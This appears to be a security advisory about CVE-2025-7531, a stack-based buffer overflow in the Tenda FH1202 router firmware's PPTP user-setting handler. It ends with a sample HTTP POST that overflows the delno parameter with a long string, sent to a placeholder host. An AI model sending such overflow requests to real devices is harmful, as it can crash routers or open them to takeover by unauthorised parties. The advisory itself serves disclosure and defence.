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CVE-2025-7531: Critical Buffer Overflow Vulnerability in Tenda FH1202

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Overview

Recently, a critical vulnerability has been identified in Tenda FH1202 1.2.0.14(408) potentially placing a multitude of systems at significant risk. This vulnerability, designated as CVE-2025-7531, affects the function fromPptpUserSetting of the file /goform/PPTPUserSetting. The severity of this vulnerability cannot be understated as it allows remote attackers to execute a stack-based buffer overflow attack. This type of attack can lead to system compromise, data leakage, and other severe consequences.

Vulnerability Summary

CVE ID: CVE-2025-7531
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

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Product | Affected Versions

Tenda FH1202 | 1.2.0.14(408)

How the Exploit Works

The vulnerability resides in the function fromPptpUserSetting of the file /goform/PPTPUserSetting. Specifically, the manipulation of the argument delno can lead to a stack-based buffer overflow. This occurs when data is written into a buffer – or temporary data storage area – and it exceeds the buffer’s capacity. The excess data can corrupt data values in memory addresses adjacent to the buffer, leading to erratic program behavior, including memory access errors, incorrect results, program termination (a crash), or a breach of system security.

Conceptual Example Code

Given the nature of this vulnerability, a potential exploit might look as follows:
“`http
POST /goform/PPTPUserSetting HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
delno=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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